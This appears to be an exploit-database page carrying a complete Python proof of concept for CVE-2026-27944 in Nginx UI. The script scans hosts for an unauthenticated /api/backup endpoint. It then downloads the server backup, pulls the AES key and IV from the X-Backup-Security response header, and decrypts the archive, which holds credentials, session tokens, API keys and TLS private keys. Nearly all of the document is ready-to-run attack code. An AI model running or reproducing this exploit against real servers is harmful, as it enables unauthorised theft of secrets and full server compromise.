5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-27944.py PY
#!/usr/bin/env python3
"""
CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption
Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers
to download and decrypt server backups via /api/backup.

"""

import argparse
import base64
import sys
import os
import requests
from requests.exceptions import RequestException
print("""

███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░  ░█████╗░██╗░░██╗
████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗  ██╔══██╗██║░██╔╝
██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║  ██║░░██║█████═╝░
██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║  ██║░░██║██╔═██╗░
██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝  ╚█████╔╝██║░╚██╗
╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░  ░╚════╝░╚═╝░░╚═╝
CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption
Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers
to download and decrypt server backups via /api/backup.
– NULL200OL-AI💀🔥created by NABEEL

""")


# Optional cryptography library
try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    CRYPTO_AVAILABLE = True
except ImportError:
    CRYPTO_AVAILABLE = False

# ==================== CVE Information ====================
CVE_ID = "CVE-2026-27944"
CVE_DESCRIPTION = (
    "Nginx UI up to version 2.3.2 contains a critical vulnerability where the "
    "/api/backup endpoint allows unauthenticated attackers to download a full "
    "server backup. The backup is encrypted with AES-256, but the encryption key "
    "and Initialization Vector (IV) are exposed in plaintext in the "
    "X-Backup-Security HTTP response header. This allows immediate decryption."
)
CVE_CAUSE = (
    "The vulnerability stems from two design flaws:\n"
    "  1. Missing authentication on the /api/backup endpoint (CWE-306).\n"
    "  2. Exposure of encryption keys in the HTTP response header (CWE-311)."
)
CVE_IMPACT = (
    "An attacker can gain access to:\n"
    "  - User credentials and session tokens (database.db)\n"
    "  - Application secrets and API keys (app.ini)\n"
    "  - SSL private keys and certificates (server.key, server.cert)\n"
    "  - Full Nginx configuration (nginx.conf)\n"
    "  - TLS keys for all hosted domains (ssl/ directory)\n"
    "This typically leads to full server compromise and lateral movement."
)

# ==================== Helper Functions ====================
def normalize_target(target):
    """Add http:// if no scheme is present."""
    if not target.startswith(('http://', 'https://')):
        target = 'http://' + target
    return target.rstrip('/')

def print_info():
    """Display detailed CVE information."""
    print(f"[+] {CVE_ID} - Nginx UI Backup Exposure")
    print("=" * 60)
    print("Description:")
    print(CVE_DESCRIPTION)
    print("\nWhy it happens:")
    print(CVE_CAUSE)
    print("\nImpact:")
    print(CVE_IMPACT)
    print("=" * 60)

def check_vulnerability(target, timeout=10):
    """
    Check if target is vulnerable.
    Returns (is_vulnerable, headers, content_length) or (False, None, 0) on error.
    """
    url = normalize_target(target) + "/api/backup"
    try:
        # Use a HEAD request first to minimize data transfer
        resp_head = requests.head(url, timeout=timeout, allow_redirects=False)
        if resp_head.status_code == 200 and 'X-Backup-Security' in resp_head.headers:
            # Now do a GET to confirm (but we only need headers for scan)
            # For scan, we don't need the body, just the header presence.
            return True, resp_head.headers, int(resp_head.headers.get('Content-Length', 0))
        else:
            return False, None, 0
    except RequestException as e:
        print(f"[-] Error connecting to {url}: {e}")
        return False, None, 0

def download_and_decrypt(target, output_file, timeout=30):
    """
    Exploit the vulnerability: download encrypted backup, extract key/IV,
    decrypt and save to output_file.
    """
    if not CRYPTO_AVAILABLE:
        print("[-] Crypto library not available. Please install pycryptodome:")
        print("    pip install pycryptodome")
        sys.exit(1)

    url = normalize_target(target) + "/api/backup"
    try:
        # Stream the download to handle large files
        with requests.get(url, stream=True, timeout=timeout) as r:
            if r.status_code != 200:
                print(f"[-] Server returned HTTP {r.status_code}. Not vulnerable or endpoint missing.")
                return False

            # Extract key and IV from header
            security_header = r.headers.get('X-Backup-Security')
            if not security_header:
                print("[-] X-Backup-Security header not found. Target may not be vulnerable.")
                return False

            try:
                key_b64, iv_b64 = security_header.split(':')
                key = base64.b64decode(key_b64)
                iv = base64.b64decode(iv_b64)
            except (ValueError, TypeError) as e:
                print(f"[-] Failed to parse X-Backup-Security header: {security_header}")
                return False

            if len(key) != 32 or len(iv) != 16:
                print(f"[-] Invalid key or IV length. Key: {len(key)} bytes (expected 32), IV: {len(iv)} bytes (expected 16)")
                return False

            print(f"[+] Key extracted ({len(key)} bytes), IV extracted ({len(iv)} bytes)")

            # Read encrypted data
            encrypted_data = b''
            for chunk in r.iter_content(chunk_size=8192):
                encrypted_data += chunk

            print(f"[+] Downloaded encrypted backup: {len(encrypted_data)} bytes")

            # Decrypt
            cipher = AES.new(key, AES.MODE_CBC, iv)
            try:
                decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
            except ValueError as e:
                # Padding may be incorrect; try without unpadding (raw decrypt)
                print("[!] Padding error, attempting raw decryption (data may be incomplete)")
                decrypted_data = cipher.decrypt(encrypted_data)

            # Save to file
            with open(output_file, 'wb') as f:
                f.write(decrypted_data)

            print(f"[+] Decrypted backup saved to {output_file}")
            print("[!] IMPORTANT: The decrypted file is likely a ZIP archive. Rename it to .zip and inspect.")
            return True

    except RequestException as e:
        print(f"[-] Error during exploit: {e}")
        return False
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        return False

# ==================== Main CLI ====================
def main():
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - Nginx UI Backup Exposure Scanner & Exploit",
        epilog="Use 'info' command for detailed vulnerability information."
    )
    subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands')

    # Info command
    subparsers.add_parser('info', help='Display detailed information about the CVE')

    # Scan command
    scan_parser = subparsers.add_parser('scan', help='Check if a target is vulnerable')
    scan_parser.add_argument('target', help='Target URL or IP:port (e.g., 192.168.1.100:9000)')
    scan_parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    # Exploit command
    exploit_parser = subparsers.add_parser('exploit', help='Download and decrypt the backup')
    exploit_parser.add_argument('target', help='Target URL or IP:port')
    exploit_parser.add_argument('--output', '-o', default='backup_decrypted.bin', help='Output file for decrypted backup (default: backup_decrypted.bin)')
    exploit_parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds (default: 30)')

    args = parser.parse_args()

    if args.command == 'info':
        print_info()
        sys.exit(0)

    # Commands that require target
    if args.command == 'scan':
        print(f"[*] Scanning {args.target} for {CVE_ID}...")
        vuln, headers, size = check_vulnerability(args.target, timeout=args.timeout)
        if vuln:
            print(f"[+] Target is VULNERABLE!")
            print(f"    - X-Backup-Security header present")
            print(f"    - Estimated backup size: {size} bytes")
            # Optionally print the header value (masked)
            sec = headers.get('X-Backup-Security', '')
            if sec:
                print(f"    - Header: {sec[:20]}... (truncated)")
        else:
            print("[-] Target does not appear to be vulnerable (or endpoint unreachable).")
        sys.exit(0)

    if args.command == 'exploit':
        print(f"[*] Exploiting {args.target} for {CVE_ID}...")
        success = download_and_decrypt(args.target, args.output, timeout=args.timeout)
        if success:
            print("[+] Exploit completed successfully.")
        else:
            print("[-] Exploit failed.")
            sys.exit(1)
        sys.exit(0)

if __name__ == '__main__':
    main()